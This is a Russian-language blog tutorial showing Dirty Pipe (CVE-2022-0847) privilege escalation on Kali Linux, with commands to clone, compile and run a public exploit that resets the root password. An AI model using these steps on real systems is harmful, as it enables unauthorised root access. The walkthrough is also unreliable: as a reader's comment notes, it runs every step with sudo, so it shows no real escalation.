Мы уже много раз рассказывали про повышение привилегий в Linux. Сегодня рассмотрим еще один способ повысить привилегии эксплуатируя уязвимость Dirty Pipe CVE-2022-0847.
Еще по теме: Фаззинг ядра Linux
Повышение привилегий Linux
Хотя у них ограниченные привилегии, обычных пользователей обычно легче скомпрометировать, чем системного администратора, поскольку они обычно менее осведомлены о безопасности. Они более подвержены вредоносным ссылкам и другим атакам социальной инженерии и часто используют слабые пароли.
Чтобы получить контроль над системами и сетью, необходимо повысить привилегии до системного администратора или root в системах Linux. Существует множество методов повышения привилегий (эксплойты ядра, неправильная настройки SUID/SGID, sudo, переменные среды и т.д).
Как повысить привилегии Linux с помощью DirtyPipe
Давайте рассмотрим эксплойт повышения привилегий DirtyPipe с идентификатором CVE-2022-0847. Он был обнаружен Максом Келлерманом.
DirtyPipe — это уязвимость локального повышения привилегий в ядре Linux, которая позволяет локальному пользователи обойти любые права доступа к файлам и записать (при определенных условиях) произвольные данные в любой файл. Это означает, что такие файлы, как /etc/shadow, где в системе хранятся хеши паролей, могут быть перезаписаны новым паролем.
Давайте протестируем эксплойт локального повышения привилегий на Kali Linux.
Проверка на уязвимость Dirty Pipe
Первый шаг — определить, уязвимо ли ядро Linux для Dirty Pipe. В данном случае я использую Kali Linux 2021.
Мы знаем, что ядро Linux после версии 5.8 уязвимо и что эта уязвимость была исправлена в версии 5.16.
Проверяем версию ядра Linux:
1 |
uname -a |
Как видите, данная версия Kali Linux использует ядро Linux 5.10.0. Это может сделать системы уязвимой для атаки Dirty Pipe.
Для большей уверенности запустим чекер DirtyPipe, который проверит хост на уязвимость CVE-2022-0847.
1 |
sudo git clone https://github.com/basharkey/CVE-2022-0847-dirty-pipe-checker |
Далее переходим каталог.
1 |
cd CVE-2022-0847-dirty-pipe-checker |
Выполняем скрипт dpipe.sh
1 |
sudo dpipe.sh |
Dirty Pipe Checker подтвердил уязвимость данной версии ядра Linux для эксплойта Dirty Pipe.
Скачивание эксплойта Dirty Pipe CVE-2022-0847
Теперь, когда мы знаем, что эта версия Linux уязвима, давайте попробуем использовать ее для получения привилегий root.
Сначала скачиваем эксплойт;
1 |
sudo git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits |
Далее переходим в каталог и видим файлы:
1 |
ls -l |
Как вы можете видеть выше, есть два эксплойта и один компилируемый скрипт. Чтобы использовать эти эксплойты, нужно запустить скрипт компиляции.
Скрипт компиляции автоматически скомпилирует оба эксплоита:
1 |
sudo ./compile.sh |
После этого два эксплоита станут зелеными и будут готовы к выполнению.
Повышение привилегий в Linux
Давайте сначала запустим exploit-1:
1 |
sudo ./exploit-1 |
Сработало, мы смогли повысить привилегии, и пароль root был изменен на piped.
Вход в систему как root
Давайте теперь проверим, можем ли мы войти в систему как root:
1 |
su root |
Вводим новый пароль piped.
После этого выполняем команду whoami:
1 2 |
#whoami root |
Чтобы еще раз убедиться, что у нас есть привилегии root, попробуем команду id:
1 2 |
#id uid=0(root) groups=0(root), ........ |
Мы смогли повысить привилегии.
Заключение
Повышение привилегий — один из ключевых навыков пентестера / хакера. Эксплойт ядра DirtyPipe — отличный инструмент для повышения привилегий систем Linux 2021–2022 и ранее.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Лучшие сайты для поиска уязвимостей
- Поиск уязвимостей с помощью OpenVAS в Metasploit
- Эксплуатация уязвимости HeartBleed с помощью Metasploit
А в чем смысл,если все команды выполняются с учётки админа? он и так может получить sudo,просто выполнив sudo -i и введя пароль от своей учётки